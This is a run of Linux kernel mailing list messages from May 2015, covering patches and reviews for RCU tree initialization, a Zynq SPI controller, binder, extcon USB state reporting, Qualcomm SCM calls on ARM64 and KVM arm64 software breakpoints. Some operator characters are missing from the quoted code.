[PATCH v2 0/9] rcu: Cleanup RCU tree initialization
Hello Paul, This is 2nd attempt to make RCU tree initialization bit more clear and optimize memory footprint of data associated with the tree. Changes since v1: - patch 3 fixed to accomodate nr_cpus=1, otherwise rcu_num_lvls would yield zero, which is wrong; The series is against linux-rcu tree rcu/dev branch Thanks! Cc: Paul E. McKenney paul...@linux.vnet.ibm.com Cc: Steven Rostedt rost...@goodmis.org Alexander Gordeev (9): rcu: Panic if RCU tree can not accommodate all CPUs rcu: Remove superfluous local variable in rcu_init_geometry() rcu: Cleanup rcu_init_geometry() code and arithmetics rcu: Simplify rcu_init_geometry() capacity arithmetics rcu: Limit rcu_state::levelcnt[] to RCU_NUM_LVLS items rcu: Limit rcu_capacity[] size to RCU_NUM_LVLS items rcu: Remove unnecessary fields from rcu_state structure rcu: Limit count of static data to the number of RCU levels rcu: Simplify arithmetic to calculate number of RCU nodes kernel/rcu/tree.c| 99 +--- kernel/rcu/tree.h| 33 kernel/rcu/tree_plugin.h | 4 +- 3 files changed, 61 insertions(+), 75 deletions(-) -- 1.8.3.1 -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [RFC PATCH 2/2] spi: Add support for Zynq Ultrascale+ MPSoC GQSPI controller
Hi Mark,
On Thu, May 28, 2015 at 9:11 PM, Punnaiah Choudary Kalluri
punnaiah.choudary.kall...@xilinx.com wrote:
Hi Mark,
-Original Message-
From: Mark Brown [mailto:broo...@kernel.org]
Sent: Thursday, May 28, 2015 8:34 PM
To: Harini Katakam
Cc: Ranjit Abhimanyu Waghmode; Rob Herring; Pawel Moll; Mark Rutland;
ijc+devicet...@hellion.org.uk; Kumar Gala; Michal Simek; Soren Brinkmann;
devicet...@vger.kernel.org; linux-arm-ker...@lists.infradead.org; linux-
ker...@vger.kernel.org; linux-spi; Punnaiah Choudary Kalluri;
ran27...@gmail.com
Subject: Re: [RFC PATCH 2/2] spi: Add support for Zynq Ultrascale+ MPSoC
GQSPI controller
On Fri, May 22, 2015 at 08:43:54PM +0530, Harini Katakam wrote:
On Fri, May 22, 2015 at 5:28 PM, Mark Brown broo...@kernel.org wrote:
On Wed, May 20, 2015 at 12:57:51PM +0530, Ranjit Waghmode wrote:
Why is there a default case here? That's going to men we try to handle
any random chip select that gets passed in as pointing to this lower
device which doesn't seem right. The fact that this is trying to handle
mirroring of the chip select to two devices is also raising alarm bells
here...
This SPI controller has two CS lines and two data bus.
Two devices can be connected to these and either the upper or the
lower or both (Explained below) can be selected.
When two flash devices are used, one of the HW configurations in
which they can be connected is called parallel mode where they
I know what wiring chip selects in parallel is but that's not the
question - the question is about the handling of the default case.
Yes, we should not handle default case here. We will change this.
Yes, that's right. I was just elaborating the mirroring part.
+static void zynqmp_qspi_chipselect(struct spi_device *qspi, bool
is_high)
+{
+ if (is_high) {
+ /* Manually start the generic FIFO command */
+ zynqmp_gqspi_write(xqspi, GQSPI_CONFIG_OFST,
+ zynqmp_gqspi_read(xqspi,
GQSPI_CONFIG_OFST) |
+ GQSPI_CFG_START_GEN_FIFO_MASK);
No, this is broken - setting the chip select should set the chip select,
it shouldn't have any impact on transfers. Transfers should be started
in the transfer operations.
This is the only way to assert the CS. It doesn't start transferring any
data.
OK, then you can't implement a separate set_cs() operation and shouldn't
be trying to do so. This will break in multiple ways when the framework
tries to use the operations separately. You probably need to implement
a single flat transfer() operation.
As we said it will not start any data transfer. In order to set chip select
(chip select only) we need to
1. Frame a control word with following parameters like the chip select that
we would like to set and hold time
2. Update the control word to fifo
To have a performance advantage (may be not trivial) we are executing this
fifo entry along with the first
Data transfer entry in transfer function so that we can avoid waiting for
fifo empty in set_cs function.
We will ensure CS assert by waiting till the fifo empty in set_cs function
and justify the what the
Function supposed do.
Yes, if we wait for cs assert to be executed (which is just the time
controller takes to fetch this command
and execute), this set_cs will be independent as expected. The
framework can use it anytime.
Regards,
Harini
--
To unsubscribe from this list: send the line unsubscribe linux-kernel in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 1/2] pinctrl: mvebu: Fix mapping of pin 63 (gpo - gpio)
Andrew, On Fri, 29 May 2015 12:55:44 +0300, Andrew wrote: Yep, exactly. I've seen that in the public docs. It must be a typo, unless there's something we don't know. On DNS-327L this pin is wired as a button. Without th patch only gpio-buttons driver fails probing, but you can still configure the pin as input via sysfs gpio interface and even read sensible values from it. If you have a board where this pin is broken out - it's easy to test. Ok, I've made a request for Marvell to check this aspect. If there's a mistake, they should hopefully fix the datasheet at some point. Thanks, Thomas -- Thomas Petazzoni, CTO, Free Electrons Embedded Linux, Kernel and Android engineering http://free-electrons.com -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 03/13] android: binder: refactor binder_thread_write
This patch is ok.
Reviewed-by: Dan Carpenter dan.carpen...@oracle.com
On Thu, May 28, 2015 at 04:08:21PM -0700, Riley Andrews wrote:
+static void binder_call_inc_dec_ref(struct binder_thread *thread,
+ uint32_t target, uint32_t cmd)
+{
+ struct binder_proc *proc = thread-proc;
+ struct binder_ref *ref;
+ const char *debug_string;
+
+ if (target == 0 binder_context_mgr_node
+ (cmd == BC_INCREFS || cmd == BC_ACQUIRE)) {
+ ref = binder_get_ref_for_node(proc, binder_context_mgr_node);
+ if (ref-desc != target) {
+ binder_user_error(%d:%d tried to acquire reference to
desc 0, got %d instead\n,
+ proc-pid, thread-pid, ref-desc);
+ return;
Presumably we never hit this error condition. In the original code we
printed an error and continued but now we bail on error. Presumably
this is a theoretical bug fix which doesn't affect real life so I will
allow it. But in the future don't mix behaviour changes with clean up
patches.
+ }
+ } else {
+ ref = binder_get_ref(proc, target);
+ }
+ if (!ref) {
In the original code this was if (ref == NULL). Please don't mix
these kinds of cleanups with moving code around because it makes it
harder for me to review. Do that in a separate patch.
regards,
dan carpenter
--
To unsubscribe from this list: send the line unsubscribe linux-kernel in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 2/3] tty: serial: fsl_lpuart: remove RTS/CTS control from set/get_mctrl
Hello Jakub, On 05/29/2015 03:34 PM, Jakub Kiciński wrote: On Fri, 29 May 2015 13:35:53 +0530, Bhuvanchandra DV wrote: The LPUART does not provide manual control of RTS/CTS signals, those can only be controlled by the hardware directly. Therefore manual control of those signals through mctrl can not be provided. The current implementation enables/disables the automatic control, which is not what mctrl should do, hence remove the incorrect implementation. Signed-off-by: Bhuvanchandra DV bhuvanchandra...@toradex.com Now that the functions do nothing there is probably no point in keeping separate lpuart/lpuart32 variants. Agreed, will update it accordingly. Thanks! for pointing this. Best regards, Bhuvan -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH v2 0/2] extcon: Inform the state of both ID and VBUS pin for USB
Hi Roger,
On 05/28/2015 11:23 PM, Roger Quadros wrote:
+Peter Li,
Ivan,
On 28/05/15 11:45, Ivan T. Ivanov wrote:
Hi Chanwoo,
On Wed, 2015-05-27 at 21:15 +0900, Chanwoo Choi wrote:
Previously, I discussed how to inform the changed state of both ID
and VBUS pin for USB connector on patch-set[1].
[1] https://lkml.org/lkml/2015/4/2/310
So, this patch adds the extcon_set_cable_line_state() function to inform
the additional state of external connectors without additional register/
unregister functions. This function uses the existing notifier chain
which is registered by extcon_register_notifier() /
extcon_register_interest().
The extcon_set_cable_line_state() can inform the new state of both
ID and VBUS pin state through extcon_set_cable_line_state().
For exmaple:
- On extcon-usb-gpio.c as extcon provider driver as following:
static void usb_extcon_detect_cable(struct work_struct *work)
{
...
/* check ID and update cable state */
id = gpiod_get_value_cansleep(info-id_gpiod);
if (id) {
extcon_set_cable_state_(info-edev,
EXTCON_USB_HOST, false);
extcon_set_cable_state_(info-edev, EXTCON_USB,
true);
extcon_set_cable_line_state(info-edev, EXTCON_USB,
EXTCON_USB_ID_HIGH);
I am getting more and more confused :-). Why EXTCON_USB is now used for ID
notifications?
It should be EXTCON_USB_HOST, no? Why we need another function, framework
already have
required information from the function one line above, do I miss something?
This is because the existing EXTCON_USB_HOST and EXTCON_USB do not capture all
the 4 states of ID and VBUS pins that we need for a real USB driver to work.
It looks like it was designed from user space users perspective where they are
only interested in USB role. i.e. host or peripheral.
Right now we are mixing both ID/VBUS and HOST/Peripheral states.
This will break when we consider OTG role switching.
With role switching, the USB device might start as a peripheral but switch
role to host
on the fly and the existing setup (including these patches) can't cater to
that
if user space is relying on EXTCON_USB_HOST/EXTCON_USB events.
Because they are hard-wired to the ID pin state which doesn't change during
role switch without cable switch.
The USB driver doesn't care about EXTCON_USB_HOST/peripheral states.
It just needs ID/VBUS states and should decide the Host/Peripheral state from
that and other inputs (like HNP/user request/etc).
The flow could be like this
(extcon-usb-driver) - [ID/VBUS states] - (USB driver) - [HOST/Peripheral
states]
If that is not going to happen then we will have to switch to this
(usb phy driver) - [ID/VBUS states] - (USB driver) - (extcon f/w) -
[Host/Peripheral states]
Felipe, Peter, Li,
what do you guys suggest?
The EXTCON framework have to definitely distinguish the correct type of
external connectors which is connected to H/W target or other machines. And
then the EXTCON framework inform the state and type of attached external
connector to the extcon consumer and user-space. It is absolutely necessary
role of EXTCON framework.
The EXTCON_USB_HOST connector is different from EXTCON_USB connector. When USB
mouse or keyboard is attached to H/W target, EXTCON fwk will inform both
correct type(USB_HOST) and state(1) of attached external connector. If EXTCON
fwk don't support the EXTCON_USB_HOST, when USB mouse/keyboard is attached,
EXTCON cannot provide the information of attached external connectors.
The EXTCON don't have the permission of USB operation but have the role to
inform the correct type of external connectors to the extcon consumer.
As you said, USB driver and framework can receive the notifier event of only
ID/VBUS pin state. If USB driver don't need the state of EXTCON_USB_HOST, USB
driver don't have to recevie the event of EXTCON_USB_HOST. Just USB driver
might receive the ID/VBUS event by extcon_register_notifier().
cheers,
-roger
} else {
extcon_set_cable_state_(info-edev, EXTCON_USB,
false);
extcon_set_cable_state_(info-edev,
EXTCON_USB_HOST, true);
extcon_set_cable_line_state(info-edev, EXTCON_USB,
EXTCON_USB_ID_LOW);
}
}
- On specific extcon consumder driver as following:
static int xxx_probe(struct platform_device *pdev)
{
struct notifier_chain nh;
nb.notifier_call = extcon_usb_notifier;
ret = extcon_register_notifier(edev, EXTCON_USB, nb);
This is bit misleading. 'nb' could not be in stack.
Right. It is my mistake. I'll fix it for example.
Thanks,
Re: [PATCH] ARM: dts: odroidxu3: Enable USB3 regulators
W dniu 28.05.2015 o 17:58, Anand Moon pisze: Enable regulator for usbdrd3_0 and usbdrd3_1 From the schematic pin diagram USB3_0 and USB3_1 is regulated by LDO9 and LD011. Fix the boot message of failed. [3.503539] exynos-dwc3 usb@1200: Looking up vdd33-supply from device tree [3.503556] exynos-dwc3 usb@1200: Looking up vdd33-supply property in node /usb@1200 failed [3.503568] usb@1200 supply vdd33 not found, using dummy regulator [3.509154] exynos-dwc3 usb@1200: Looking up vdd10-supply from device tree [3.509170] exynos-dwc3 usb@1200: Looking up vdd10-supply property in node /usb@1200 failed [3.509181] usb@1200 supply vdd10 not found, using dummy regulator [3.917548] exynos-dwc3 usb@1240: Looking up vdd33-supply from device tree [3.917565] exynos-dwc3 usb@1240: Looking up vdd33-supply property in node /usb@1240 failed [3.917578] usb@1240 supply vdd33 not found, using dummy regulator [3.922731] exynos-dwc3 usb@1240: Looking up vdd10-supply from device tree [3.922747] exynos-dwc3 usb@1240: Looking up vdd10-supply property in node /usb@1240 failed Tested on Odroid XU3-Lite board: Tested-by: Krzysztof Kozlowski k.kozlow...@samsung.com Best regards, Krzysztof -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
linux-next: manual merge of the clk tree with the imx-mxs tree
Hi all, Today's linux-next merge of the clk tree got a conflict in drivers/clk/Makefile between commit 33156149fc4a (ARM: imx: move clock drivers into drivers/clk) from the imx-mxs tree and commit b1691707eccd (clk: hi6220: Clock driver support for Hisilicon hi6220 SoC) from the clk tree. I fixed it up (see below) and can carry the fix as necessary (no action is required). -- Cheers, Stephen Rothwells...@canb.auug.org.au diff --cc drivers/clk/Makefile index 96e9778ac9bd,772909d1a612.. --- a/drivers/clk/Makefile +++ b/drivers/clk/Makefile @@@ -47,11 -47,9 +47,10 @@@ obj-$(CONFIG_COMMON_CLK_PWM)+= clk-pw obj-$(CONFIG_COMMON_CLK_AT91) += at91/ obj-$(CONFIG_ARCH_BCM_MOBILE) += bcm/ obj-$(CONFIG_ARCH_BERLIN) += berlin/ - obj-$(CONFIG_ARCH_HI3xxx) += hisilicon/ - obj-$(CONFIG_ARCH_HIP04) += hisilicon/ - obj-$(CONFIG_ARCH_HIX5HD2)+= hisilicon/ + obj-$(CONFIG_ARCH_HISI) += hisilicon/ +obj-$(CONFIG_ARCH_MXC)+= imx/ obj-$(CONFIG_COMMON_CLK_KEYSTONE) += keystone/ + obj-$(CONFIG_ARCH_MEDIATEK) += mediatek/ ifeq ($(CONFIG_COMMON_CLK), y) obj-$(CONFIG_ARCH_MMP)+= mmp/ endif pgpzgw5L5RTYA.pgp Description: OpenPGP digital signature
Re: [PATCH 2/8] driver-core: add asynchronous probing support for drivers
On 31 March 2015 at 01:20, Dmitry Torokhov dmitry.torok...@gmail.com wrote:
Some devices take a long time when initializing, and not all drivers are
suited to initialize their devices when they are open. For example,
input drivers need to interrogate their devices in order to publish
device's capabilities before userspace will open them. When such drivers
are compiled into kernel they may stall entire kernel initialization.
This change allows drivers request for their probe functions to be
called asynchronously during driver and device registration (manual
binding is still synchronous). Because async_schedule is used to perform
asynchronous calls module loading will still wait for the probing to
complete.
But what about parents? Don't we need to make sure that before probing
a device its parent has finished probing already? This backtrace
illustrates the problem:
[c0014818] (__dabt_svc) from [c03737ac] (host1x_syncpt_alloc+0x14/0x134)
[c03737ac] (host1x_syncpt_alloc) from [c03738f4]
(host1x_syncpt_request+0x28/0x2c)
[c03738f4] (host1x_syncpt_request) from [c03b55ec]
(tegra_dc_probe+0x198/0x35c)
[c03b55ec] (tegra_dc_probe) from [c03cb5a0] (platform_drv_probe+0x54/0xbc)
[c03cb5a0] (platform_drv_probe) from [c03c96e0]
(driver_probe_device+0x184/0x2c4)
[c03c96e0] (driver_probe_device) from [c03c98bc] (__driver_attach+0x9c/0xa0)
[c03c98bc] (__driver_attach) from [c03c78d8] (bus_for_each_dev+0x78/0xac)
[c03c78d8] (bus_for_each_dev) from [c03c9070] (driver_attach+0x2c/0x30)
[c03c9070] (driver_attach) from [c03c7e10] (driver_attach_async+0x18/0x1c)
[c03c7e10] (driver_attach_async) from [c004afd0]
(async_run_entry_fn+0x58/0x128)
[c004afd0] (async_run_entry_fn) from [c0042470]
(process_one_work+0x140/0x50c)
[c0042470] (process_one_work) from [c0042890] (worker_thread+0x54/0x52c)
[c0042890] (worker_thread) from [c0048554] (kthread+0xec/0x104)
[c0048554] (kthread) from [c000fc28] (ret_from_fork+0x14/0x2c)
host1x_syncpt_request() assumes that the parent of the DC (host1x) has
been probed already and its drvdata is available.
Thanks,
Tomeu
Note that the end goal is to make the probing asynchronous by default,
so annotating drivers with PROBE_PREFER_ASYNCHRONOUS is a temporary
measure that allows us to speed up boot process while we validating and
fixing the rest of the drivers and preparing userspace.
This change is based on earlier patch by Luis R. Rodriguez
mcg...@suse.com
Signed-off-by: Dmitry Torokhov dmitry.torok...@gmail.com
---
drivers/base/base.h| 1 +
drivers/base/bus.c | 31 +++---
drivers/base/dd.c | 149
++---
include/linux/device.h | 28 ++
4 files changed, 182 insertions(+), 27 deletions(-)
diff --git a/drivers/base/base.h b/drivers/base/base.h
index 251c5d3..fd3347d 100644
--- a/drivers/base/base.h
+++ b/drivers/base/base.h
@@ -116,6 +116,7 @@ static inline int driver_match_device(struct
device_driver *drv,
{
return drv-bus-match ? drv-bus-match(dev, drv) : 1;
}
+extern bool driver_allows_async_probing(struct device_driver *drv);
extern int driver_add_groups(struct device_driver *drv,
const struct attribute_group **groups);
diff --git a/drivers/base/bus.c b/drivers/base/bus.c
index 79bc203..5005924 100644
--- a/drivers/base/bus.c
+++ b/drivers/base/bus.c
@@ -10,6 +10,7 @@
*
*/
+#include linux/async.h
#include linux/device.h
#include linux/module.h
#include linux/errno.h
@@ -549,15 +550,12 @@ void bus_probe_device(struct device *dev)
{
struct bus_type *bus = dev-bus;
struct subsys_interface *sif;
- int ret;
if (!bus)
return;
- if (bus-p-drivers_autoprobe) {
- ret = device_attach(dev);
- WARN_ON(ret 0);
- }
+ if (bus-p-drivers_autoprobe)
+ device_initial_probe(dev);
mutex_lock(bus-p-mutex);
list_for_each_entry(sif, bus-p-interfaces, node)
@@ -659,6 +657,17 @@ static ssize_t uevent_store(struct device_driver *drv,
const char *buf,
}
static DRIVER_ATTR_WO(uevent);
+static void driver_attach_async(void *_drv, async_cookie_t cookie)
+{
+ struct device_driver *drv = _drv;
+ int ret;
+
+ ret = driver_attach(drv);
+
+ pr_debug(bus: '%s': driver %s async attach completed: %d\n,
+drv-bus-name, drv-name, ret);
+}
+
/**
* bus_add_driver - Add a driver to the bus.
* @drv: driver.
@@ -691,9 +700,15 @@ int bus_add_driver(struct device_driver *drv)
klist_add_tail(priv-knode_bus, bus-p-klist_drivers);
if (drv-bus-p-drivers_autoprobe) {
- error = driver_attach(drv);
- if (error)
- goto out_unregister;
+ if (driver_allows_async_probing(drv)) {
+ pr_debug(bus: '%s': probing driver %s
asynchronously\n,
+
Re: [PATCH] perf tools: introduce arm64 support unwind test.
On Thu, May 28, 2015 at 10:43:14AM -0300, Arnaldo Carvalho de Melo wrote: Em Thu, May 28, 2015 at 03:17:26PM +0800, Wangnan (F) escreveu: Ping? Jiri, Ack? yep, I've already ack-ed that.. should be on the lkml somewhere ;-) And from a quick look, isn't this better split in two pieces, i.e. the first wiring up ARM64 to libunwing, i.e. all those perf_regs.h files being added to tools/perf/arch/arm64/, and then a second patch, enabling the dwarf unwind 'perf test' entry to run on ARM64? I guess.. but the change is fairly small, so it did not occur to me as necessary.. jirka -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 01/13] drivers: android: correct the size of struct binder_uintptr_t for BC_DEAD_BINDER_DONE
On Thu, May 28, 2015 at 04:08:19PM -0700, Riley Andrews wrote: From: Lisa Du c...@marvell.com There's one point was missed in the patch commit da49889deb34 (staging: binder: Support concurrent 32 bit and 64 bit processes.). When configure BINDER_IPC_32BIT, the size of binder_uintptr_t was 32bits, but size of void * is 64bit on 64bit system. Correct it here. Signed-off-by: Lisa Du c...@marvell.com You should have your own name signed here as well. regards, dan carpenter -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 0/7] ARM CCI PMU updates for 4.2
Hi arm-soc folk,
On 26/05/15 10:53, Suzuki K. Poulose wrote:
From: Suzuki K. Poulose suzuki.poul...@arm.com
Here is the series which adds support for the CCI-500
PMU. Could you please apply this for 4.2 ?
Please let me know if you need a pull request, I could ask Will to
setup one.
Gentle ping on this series for 4.2.
Suzuki
---
This series adds the support for CCI-500 PMU, by
reusing and rearranging the CCI-400 PMU driver code.
CCI-500 (the new Cache Coherent Interconnect IP) has
a PMU with 8 independent event counters and supports
profiling events related to master/slave interfaces
along with the global events(cci internal events).
The series also adds aliases for events for all the
supported CCI PMUs(CCI_400{r0,r1}, CCI_500).
Patches 1/7 is a fix posted by Mark Salter, which has
been posted to a...@kernel.org already. I have included
it in this series, as this series applies on top of it.
Patches 2-5 - Creates an abstraction of a CCI PMU and
makes the CCI-400 driver code to make use of the abstraction.
Patch 6 - Adds the CCI-500 PMU driver support
Patch 7 - Adds the aliases for CCI PMU events (specific to chipsets).
With the series, one can use named events for the CCI pmus.
e.g, CCI-400
# perf list | grep CCI
CCI_400/cycles/[Kernel PMU event]
CCI_400/mi_retry_speculative_fetch,source=?/ [Kernel PMU event]
e.g, CCI-500
# perf list |grep CCI
CCI_500/cci_rq_stall_address_hazard/ [Kernel PMU event]
CCI_500/cci_snoop_access_filter_bank_0_1/ [Kernel PMU event]
Testing was performed on a fast model, with perf fuzzer and functional
tests for the CCI-500 PMU.
---
Changes since V1: https://lkml.org/lkml/2015/5/5/323
The series remains functionaly pretty much the same, except for a minor
fix in the Kconfig default for CCI-500.
- Pulled in a CCI-400 config fix posted separately,
as Patch 1/7.
https://patchwork.kernel.org/patch/6387121/
- Add the similar Kconfig changes for CCI-500 as fixed in
the patch above.
- Dropped Mark Salter's fix for CCI, which is now queued.
Suzuki K. Poulose (7):
arm-cci: Do not enable CCI-400 PMU by default
arm-cci: Cleanup PMU driver code
arm-cci: Abstract out the PMU counter details
arm-cci: Abstract handling for CCI events
arm-cci: Sanitise CCI400 PMU driver specific code
arm-cci: Add CCI-500 PMU support
arm-cci: Add aliases for PMU events
Documentation/devicetree/bindings/arm/cci.txt |4 +-
drivers/bus/Kconfig | 31 +-
drivers/bus/arm-cci.c | 905 -
3 files changed, 763 insertions(+), 177 deletions(-)
--
To unsubscribe from this list: send the line unsubscribe linux-kernel in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] fixup! dmaengine: pxa_dma: add debug information
- Mail original - De: Vinod Koul vinod.k...@intel.com À: Robert Jarzmik robert.jarz...@free.fr On Wed, May 27, 2015 at 11:23:40PM +0200, Robert Jarzmik wrote: This fixes the following error: drivers/dma/pxa_dma.c: In function ‘dbg_show_requester_chan’: drivers/dma/pxa_dma.c:192:2: error: void value not ignored as it ought to be pos += seq_printf(s, DMA channel %d requester :\n, phy-idx); Applied now. Thanks. but not pleased that you sent broken code. Sending stuff that compiles is basic step You should know me better by now. I told you I compiled *and* tested. And with a a bit closer look check this commit, especially the date : commit 0bac33653b06a5f80a5c04e275eb33db9493b85a Author: Joe Perches j...@perches.com Date: Sat May 23 12:00:38 2015 +1000 fs/seq_file: convert int seq_vprint/seq_printf/etc... returns to void Cheers. -- Robert -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH v6] firmware: qcom: scm: Add support for ARM64 SoCs
Hi,
On Thu, May 28, 2015 at 05:11:20PM +0100, Kumar Gala wrote:
Add an implementation of the SCM interface that works on ARM64 SoCs. This
is used by things like determine if we have HDCP support or not on the
system.
Which drivers will be calling this code?
Signed-off-by: Kumar Gala ga...@codeaurora.org
---
* v6:
- Added comment about HDCP usage
- Folded in HDCP SCM call
- implement boot interfaces as -EINVAL
* v5:
- use common error defines from qcom_scm.h
- removed R*_STR defines
* v4:
- Folded in change to qcom_scm_cpu_power_down to remove HOTPLUG flag
from Lina.
arch/arm64/Kconfig | 1 +
drivers/firmware/Makefile | 4 +
drivers/firmware/qcom_scm-64.c | 406
+
3 files changed, 411 insertions(+)
create mode 100644 drivers/firmware/qcom_scm-64.c
diff --git a/arch/arm64/Kconfig b/arch/arm64/Kconfig
index 4269dba..8878800 100644
--- a/arch/arm64/Kconfig
+++ b/arch/arm64/Kconfig
@@ -190,6 +190,7 @@ config ARCH_MEDIATEK
config ARCH_QCOM
bool Qualcomm Platforms
select PINCTRL
+ select QCOM_SCM
help
This enables support for the ARMv8 based Qualcomm chipsets.
diff --git a/drivers/firmware/Makefile b/drivers/firmware/Makefile
index 3001f1a..c79751a 100644
--- a/drivers/firmware/Makefile
+++ b/drivers/firmware/Makefile
@@ -12,7 +12,11 @@ obj-$(CONFIG_ISCSI_IBFT_FIND)+= iscsi_ibft_find.o
obj-$(CONFIG_ISCSI_IBFT) += iscsi_ibft.o
obj-$(CONFIG_FIRMWARE_MEMMAP) += memmap.o
obj-$(CONFIG_QCOM_SCM) += qcom_scm.o
+ifdef CONFIG_64BIT
+obj-$(CONFIG_QCOM_SCM) += qcom_scm-64.o
+else
obj-$(CONFIG_QCOM_SCM) += qcom_scm-32.o
+endif
CFLAGS_qcom_scm-32.o :=$(call as-instr,.arch_extension sec,-DREQUIRES_SEC=1)
obj-$(CONFIG_GOOGLE_FIRMWARE) += google/
diff --git a/drivers/firmware/qcom_scm-64.c b/drivers/firmware/qcom_scm-64.c
new file mode 100644
index 000..90e0fa3
--- /dev/null
+++ b/drivers/firmware/qcom_scm-64.c
@@ -0,0 +1,406 @@
+/* Copyright (c) 2014-2015, The Linux Foundation. All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 and
+ * only version 2 as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
+ * 02110-1301, USA.
+ */
+
+#include linux/cpumask.h
+#include linux/delay.h
+#include linux/mutex.h
+#include linux/slab.h
+#include linux/types.h
+#include linux/qcom_scm.h
+
+#include asm/cacheflush.h
+#include asm/compiler.h
+#include asm/smp_plat.h
+
+#include qcom_scm.h
+
+#define QCOM_SCM_SIP_FNID(s, c) (s) 0xFF) 8) | ((c) 0xFF)) |
0x0200)
+
+#define MAX_QCOM_SCM_ARGS 10
+#define MAX_QCOM_SCM_RETS 3
+
+#define QCOM_SCM_ARGS_IMPL(num, a, b, c, d, e, f, g, h, i, j, ...) (\
+ (((a) 0xff) 4) | \
+ (((b) 0xff) 6) | \
+ (((c) 0xff) 8) | \
+ (((d) 0xff) 10) | \
+ (((e) 0xff) 12) | \
+ (((f) 0xff) 14) | \
+ (((g) 0xff) 16) | \
+ (((h) 0xff) 18) | \
+ (((i) 0xff) 20) | \
+ (((j) 0xff) 22) | \
+ (num 0x))
+
+#define QCOM_SCM_ARGS(...) QCOM_SCM_ARGS_IMPL(__VA_ARGS__, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0)
+
+/**
+ * struct qcom_scm_desc
+ * @arginfo: Metadata describing the arguments in args[]
+ * @args: The array of arguments for the secure syscall
+ * @ret: The values returned by the secure syscall
+ * @extra_arg_buf: The buffer containing extra arguments
+ (that don't fit in available registers)
+ * @x5: The 4rd argument to the secure syscall or physical address of
+ extra_arg_buf
Nit: 4th
Why not just fold x5 into the args array? It's still an argument either
way...
+ */
+struct qcom_scm_desc {
+ u32 arginfo;
+ u64 args[MAX_QCOM_SCM_ARGS];
+ u64 ret[MAX_QCOM_SCM_RETS];
+
+ /* private */
+ void *extra_arg_buf;
Shouldn't this be a qcom_scm_extra_arg* ?
+ u64 x5;
+};
+
+
+#define QCOM_SCM_EBUSY -55
+#define QCOM_SCM_V2_EBUSY -12
+
+static DEFINE_MUTEX(qcom_scm_lock);
+
+#define QCOM_SCM_EBUSY_WAIT_MS 30
+#define QCOM_SCM_EBUSY_MAX_RETRY 20
+
+#define N_EXT_QCOM_SCM_ARGS 7
+#define FIRST_EXT_ARG_IDX 3
+#define SMC_ATOMIC_SYSCALL 31
[PATCH v5 06/12] KVM: arm64: guest debug, add SW break point support
This adds support for SW breakpoints inserted by userspace.
We do this by trapping all guest software debug exceptions to the
hypervisor (MDCR_EL2.TDE). The exit handler sets an exit reason of
KVM_EXIT_DEBUG with the kvm_debug_exit_arch structure holding the
exception syndrome information.
It will be up to userspace to extract the PC (via GET_ONE_REG) and
determine if the debug event was for a breakpoint it inserted. If not
userspace will need to re-inject the correct exception restart the
hypervisor to deliver the debug exception to the guest.
Any other guest software debug exception (e.g. single step or HW
assisted breakpoints) will cause an error and the VM to be killed. This
is addressed by later patches which add support for the other debug
types.
Signed-off-by: Alex Bennée alex.ben...@linaro.org
Reviewed-by: Christoffer Dall christoffer.d...@linaro.org
---
v2
- update to use new exit struct
- tweak for C setup
- do our setup in debug_setup/clear code
- fixed up comments
v3:
- fix spacing in KVM_GUESTDBG_VALID_MASK
- fix and clarify wording on kvm_handle_guest_debug
- handle error case in kvm_handle_guest_debug
- re-word the commit message
v4
- rm else leg
- add r-b-tag
---
Documentation/virtual/kvm/api.txt | 2 +-
arch/arm/kvm/arm.c| 2 +-
arch/arm64/kvm/debug.c| 3 +++
arch/arm64/kvm/handle_exit.c | 36
4 files changed, 41 insertions(+), 2 deletions(-)
diff --git a/Documentation/virtual/kvm/api.txt
b/Documentation/virtual/kvm/api.txt
index ba635c7..33c8143 100644
--- a/Documentation/virtual/kvm/api.txt
+++ b/Documentation/virtual/kvm/api.txt
@@ -2667,7 +2667,7 @@ when running. Common control bits are:
The top 16 bits of the control field are architecture specific control
flags which can include the following:
- - KVM_GUESTDBG_USE_SW_BP: using software breakpoints [x86]
+ - KVM_GUESTDBG_USE_SW_BP: using software breakpoints [x86, arm64]
- KVM_GUESTDBG_USE_HW_BP: using hardware breakpoints [x86, s390]
- KVM_GUESTDBG_INJECT_DB: inject DB type exception [x86]
